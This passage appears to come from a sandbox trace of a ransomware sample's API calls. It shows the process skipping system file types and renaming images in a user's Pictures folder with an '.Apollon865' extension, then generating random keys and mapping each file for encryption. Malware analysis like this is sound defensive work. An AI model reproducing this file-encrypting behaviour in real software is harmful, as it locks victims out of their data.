	[0087.525] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0087.525] lstrlenW (lpString="adn") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0087.525] lstrlenW (lpString="adp") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0087.525] lstrlenW (lpString="alf") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0087.525] lstrlenW (lpString="ask") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0087.525] lstrlenW (lpString="btr") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0087.525] lstrlenW (lpString="cat") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0087.525] lstrlenW (lpString="cdb") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0087.525] lstrlenW (lpString="ckp") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0087.525] lstrlenW (lpString="cma") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0087.526] lstrlenW (lpString="cpd") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0087.526] lstrlenW (lpString="dacpac") returned 6
	[0087.526] lstrcmpiW (lpString1=" O.gif", lpString2="dacpac") returned -1
	[0087.526] lstrlenW (lpString="dad") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0087.526] lstrlenW (lpString="dadiagrams") returned 10
	[0087.526] lstrcmpiW (lpString1="ktnr O.gif", lpString2="dadiagrams") returned 1
	[0087.526] lstrlenW (lpString="daschema") returned 8
	[0087.526] lstrcmpiW (lpString1="nr O.gif", lpString2="daschema") returned 1
	[0087.526] lstrlenW (lpString="db-journal") returned 10
	[0087.526] lstrcmpiW (lpString1="ktnr O.gif", lpString2="db-journal") returned 1
	[0087.526] lstrlenW (lpString="db-shm") returned 6
	[0087.526] lstrcmpiW (lpString1=" O.gif", lpString2="db-shm") returned -1
	[0087.526] lstrlenW (lpString="db-wal") returned 6
	[0087.526] lstrcmpiW (lpString1=" O.gif", lpString2="db-wal") returned -1
	[0087.526] lstrlenW (lpString="dbc") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
	[0087.526] lstrlenW (lpString="dbs") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0087.526] lstrlenW (lpString="dbt") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0087.526] lstrlenW (lpString="dbv") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0087.526] lstrlenW (lpString="dbx") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0087.526] lstrlenW (lpString="dcb") returned 3
	[0087.526] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0087.527] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\q1ktnr O.gif.Apollon865") returned 72
	[0087.527] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\q1ktnr O.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\q1ktnr o.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\q1ktnr O.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\q1ktnr o.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\q1ktnr O.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\q1ktnr o.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.528] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=65157) returned 1
	[0087.528] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.529] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.529] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.530] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10190, lpName=0x0) returned 0x15c
	[0087.530] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10190) returned 0x120000
	[0087.533] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.533] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.533] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.536] lstrcpyW (in: lpString1=0x119e66a, lpString2="QVmngVKSHbd.gif" | out: lpString1="QVmngVKSHbd.gif") returned="QVmngVKSHbd.gif"
	[0087.536] lstrlenW (lpString="QVmngVKSHbd.gif") returned 15
	[0087.536] lstrlenW (lpString="Apollon865") returned 10
	[0087.536] lstrcmpiW (lpString1="VKSHbd.gif", lpString2="Apollon865") returned 1
	[0087.536] lstrlenW (lpString=".dll") returned 4
	[0087.536] lstrcmpiW (lpString1="QVmngVKSHbd.gif", lpString2=".dll") returned 1
	[0087.536] lstrlenW (lpString=".lnk") returned 4
	[0087.536] lstrcmpiW (lpString1="QVmngVKSHbd.gif", lpString2=".lnk") returned 1
	[0087.536] lstrlenW (lpString=".ini") returned 4
	[0087.536] lstrcmpiW (lpString1="QVmngVKSHbd.gif", lpString2=".ini") returned 1
	[0087.536] lstrlenW (lpString=".sys") returned 4
	[0087.536] lstrcmpiW (lpString1="QVmngVKSHbd.gif", lpString2=".sys") returned 1
	[0087.536] lstrlenW (lpString="QVmngVKSHbd.gif") returned 15
	[0087.537] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\QVmngVKSHbd.gif.Apollon865") returned 75
	[0087.537] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\QVmngVKSHbd.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\qvmngvkshbd.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\QVmngVKSHbd.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\qvmngvkshbd.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\QVmngVKSHbd.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\qvmngvkshbd.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.538] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=89600) returned 1
	[0087.539] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.539] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.539] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.539] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16100, lpName=0x0) returned 0x15c
	[0087.540] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16100) returned 0x120000
	[0087.544] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.545] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.545] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.548] lstrcpyW (in: lpString1=0x119e66a, lpString2="r 2GYg.bmp" | out: lpString1="r 2GYg.bmp") returned="r 2GYg.bmp"
	[0087.548] lstrlenW (lpString="r 2GYg.bmp") returned 10
	[0087.548] lstrlenW (lpString="Apollon865") returned 10
	[0087.548] lstrlenW (lpString=".dll") returned 4
	[0087.548] lstrcmpiW (lpString1="r 2GYg.bmp", lpString2=".dll") returned 1
	[0087.548] lstrlenW (lpString=".lnk") returned 4
	[0087.548] lstrcmpiW (lpString1="r 2GYg.bmp", lpString2=".lnk") returned 1
	[0087.548] lstrlenW (lpString=".ini") returned 4
	[0087.548] lstrcmpiW (lpString1="r 2GYg.bmp", lpString2=".ini") returned 1
	[0087.548] lstrlenW (lpString=".sys") returned 4
	[0087.548] lstrcmpiW (lpString1="r 2GYg.bmp", lpString2=".sys") returned 1
	[0087.549] lstrlenW (lpString="r 2GYg.bmp") returned 10
	[0087.549] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\r 2GYg.bmp.Apollon865") returned 70
	[0087.549] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\r 2GYg.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\r 2gyg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\r 2GYg.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\r 2gyg.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\r 2GYg.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\r 2gyg.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.550] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=28503) returned 1
	[0087.551] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.552] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.552] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.552] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7260, lpName=0x0) returned 0x15c
	[0087.552] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7260) returned 0x100000
	[0087.554] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.554] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.554] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.556] lstrcpyW (in: lpString1=0x119e66a, lpString2="Sr8OAqatKEkrOhAgu1.jpg" | out: lpString1="Sr8OAqatKEkrOhAgu1.jpg") returned="Sr8OAqatKEkrOhAgu1.jpg"
	[0087.556] lstrlenW (lpString="Sr8OAqatKEkrOhAgu1.jpg") returned 22
	[0087.556] lstrlenW (lpString="Apollon865") returned 10
	[0087.556] lstrcmpiW (lpString1="OhAgu1.jpg", lpString2="Apollon865") returned 1
	[0087.556] lstrlenW (lpString=".dll") returned 4
	[0087.556] lstrcmpiW (lpString1="Sr8OAqatKEkrOhAgu1.jpg", lpString2=".dll") returned 1
	[0087.556] lstrlenW (lpString=".lnk") returned 4
	[0087.556] lstrcmpiW (lpString1="Sr8OAqatKEkrOhAgu1.jpg", lpString2=".lnk") returned 1
	[0087.556] lstrlenW (lpString=".ini") returned 4
	[0087.556] lstrcmpiW (lpString1="Sr8OAqatKEkrOhAgu1.jpg", lpString2=".ini") returned 1
	[0087.556] lstrlenW (lpString=".sys") returned 4
	[0087.556] lstrcmpiW (lpString1="Sr8OAqatKEkrOhAgu1.jpg", lpString2=".sys") returned 1
	[0087.557] lstrlenW (lpString="Sr8OAqatKEkrOhAgu1.jpg") returned 22
	[0087.557] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Sr8OAqatKEkrOhAgu1.jpg.Apollon865") returned 82
	[0087.557] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Sr8OAqatKEkrOhAgu1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\sr8oaqatkekrohagu1.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Sr8OAqatKEkrOhAgu1.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\sr8oaqatkekrohagu1.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Sr8OAqatKEkrOhAgu1.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\sr8oaqatkekrohagu1.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.558] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=88771) returned 1
	[0087.559] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.559] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.559] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.560] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15dd0, lpName=0x0) returned 0x15c
	[0087.560] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15dd0) returned 0x120000
	[0087.563] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.564] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.564] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.567] lstrcpyW (in: lpString1=0x119e66a, lpString2="wN4PgFskn1Xx491ZAQQ.gif" | out: lpString1="wN4PgFskn1Xx491ZAQQ.gif") returned="wN4PgFskn1Xx491ZAQQ.gif"
	[0087.568] lstrlenW (lpString="wN4PgFskn1Xx491ZAQQ.gif") returned 23
	[0087.568] lstrlenW (lpString="Apollon865") returned 10
	[0087.568] lstrcmpiW (lpString1="91ZAQQ.gif", lpString2="Apollon865") returned -1
	[0087.568] lstrlenW (lpString=".dll") returned 4
	[0087.568] lstrcmpiW (lpString1="wN4PgFskn1Xx491ZAQQ.gif", lpString2=".dll") returned 1
	[0087.568] lstrlenW (lpString=".lnk") returned 4
	[0087.568] lstrcmpiW (lpString1="wN4PgFskn1Xx491ZAQQ.gif", lpString2=".lnk") returned 1
	[0087.568] lstrlenW (lpString=".ini") returned 4
	[0087.568] lstrcmpiW (lpString1="wN4PgFskn1Xx491ZAQQ.gif", lpString2=".ini") returned 1
	[0087.568] lstrlenW (lpString=".sys") returned 4
	[0087.568] lstrcmpiW (lpString1="wN4PgFskn1Xx491ZAQQ.gif", lpString2=".sys") returned 1
	[0087.568] lstrlenW (lpString="wN4PgFskn1Xx491ZAQQ.gif") returned 23
	[0087.568] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wN4PgFskn1Xx491ZAQQ.gif.Apollon865") returned 83
	[0087.568] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wN4PgFskn1Xx491ZAQQ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\wn4pgfskn1xx491zaqq.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wN4PgFskn1Xx491ZAQQ.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\wn4pgfskn1xx491zaqq.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wN4PgFskn1Xx491ZAQQ.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\wn4pgfskn1xx491zaqq.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.570] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2354) returned 1
	[0087.570] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.571] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.571] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.571] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc40, lpName=0x0) returned 0x15c
	[0087.571] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc40) returned 0x100000
	[0087.572] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.572] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.573] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.575] lstrcpyW (in: lpString1=0x119e66a, lpString2="wQ9iMzd6zLFfmhHLY.jpg" | out: lpString1="wQ9iMzd6zLFfmhHLY.jpg") returned="wQ9iMzd6zLFfmhHLY.jpg"
	[0087.575] lstrlenW (lpString="wQ9iMzd6zLFfmhHLY.jpg") returned 21
	[0087.575] lstrlenW (lpString="Apollon865") returned 10
	[0087.575] lstrcmpiW (lpString1="fmhHLY.jpg", lpString2="Apollon865") returned 1
	[0087.575] lstrlenW (lpString=".dll") returned 4
	[0087.575] lstrcmpiW (lpString1="wQ9iMzd6zLFfmhHLY.jpg", lpString2=".dll") returned 1
	[0087.575] lstrlenW (lpString=".lnk") returned 4
	[0087.575] lstrcmpiW (lpString1="wQ9iMzd6zLFfmhHLY.jpg", lpString2=".lnk") returned 1
	[0087.575] lstrlenW (lpString=".ini") returned 4
	[0087.575] lstrcmpiW (lpString1="wQ9iMzd6zLFfmhHLY.jpg", lpString2=".ini") returned 1
	[0087.575] lstrlenW (lpString=".sys") returned 4
	[0087.575] lstrcmpiW (lpString1="wQ9iMzd6zLFfmhHLY.jpg", lpString2=".sys") returned 1
	[0087.575] lstrlenW (lpString="wQ9iMzd6zLFfmhHLY.jpg") returned 21
	[0087.576] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wQ9iMzd6zLFfmhHLY.jpg.Apollon865") returned 81
	[0087.576] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wQ9iMzd6zLFfmhHLY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\wq9imzd6zlffmhhly.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wQ9iMzd6zLFfmhHLY.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\wq9imzd6zlffmhhly.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\wQ9iMzd6zLFfmhHLY.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\wq9imzd6zlffmhhly.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.577] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=75463) returned 1
	[0087.577] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.578] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.578] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.579] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x129d0, lpName=0x0) returned 0x15c
	[0087.579] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x129d0) returned 0x120000
	[0087.582] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.583] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.583] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.586] lstrcpyW (in: lpString1=0x119e66a, lpString2="Z7Gimw9v2oqI jPiIMTW.png" | out: lpString1="Z7Gimw9v2oqI jPiIMTW.png") returned="Z7Gimw9v2oqI jPiIMTW.png"
	[0087.586] lstrlenW (lpString="Z7Gimw9v2oqI jPiIMTW.png") returned 24
	[0087.586] lstrlenW (lpString="Apollon865") returned 10
	[0087.586] lstrcmpiW (lpString1="PiIMTW.png", lpString2="Apollon865") returned 1
	[0087.586] lstrlenW (lpString=".dll") returned 4
	[0087.586] lstrcmpiW (lpString1="Z7Gimw9v2oqI jPiIMTW.png", lpString2=".dll") returned 1
	[0087.586] lstrlenW (lpString=".lnk") returned 4
	[0087.586] lstrcmpiW (lpString1="Z7Gimw9v2oqI jPiIMTW.png", lpString2=".lnk") returned 1
	[0087.586] lstrlenW (lpString=".ini") returned 4
	[0087.586] lstrcmpiW (lpString1="Z7Gimw9v2oqI jPiIMTW.png", lpString2=".ini") returned 1
	[0087.586] lstrlenW (lpString=".sys") returned 4
	[0087.586] lstrcmpiW (lpString1="Z7Gimw9v2oqI jPiIMTW.png", lpString2=".sys") returned 1
	[0087.586] lstrlenW (lpString="Z7Gimw9v2oqI jPiIMTW.png") returned 24
	[0087.586] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Z7Gimw9v2oqI jPiIMTW.png.Apollon865") returned 84
	[0087.586] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Z7Gimw9v2oqI jPiIMTW.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\z7gimw9v2oqi jpiimtw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Z7Gimw9v2oqI jPiIMTW.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\z7gimw9v2oqi jpiimtw.png.apollon865"), dwFlags=0x1) returned 1
	[0087.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\Z7Gimw9v2oqI jPiIMTW.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\z7gimw9v2oqi jpiimtw.png.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.588] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2481) returned 1
	[0087.588] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.589] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.589] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.589] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc0, lpName=0x0) returned 0x15c
	[0087.589] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcc0) returned 0x100000
	[0087.590] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.590] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.590] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.592] lstrcpyW (in: lpString1=0x119e66a, lpString2="zNLQd.gif" | out: lpString1="zNLQd.gif") returned="zNLQd.gif"
	[0087.592] lstrlenW (lpString="zNLQd.gif") returned 9
	[0087.592] lstrlenW (lpString="Apollon865") returned 10
	[0087.592] lstrlenW (lpString=".dll") returned 4
	[0087.592] lstrcmpiW (lpString1="zNLQd.gif", lpString2=".dll") returned 1
	[0087.592] lstrlenW (lpString=".lnk") returned 4
	[0087.592] lstrcmpiW (lpString1="zNLQd.gif", lpString2=".lnk") returned 1
	[0087.592] lstrlenW (lpString=".ini") returned 4
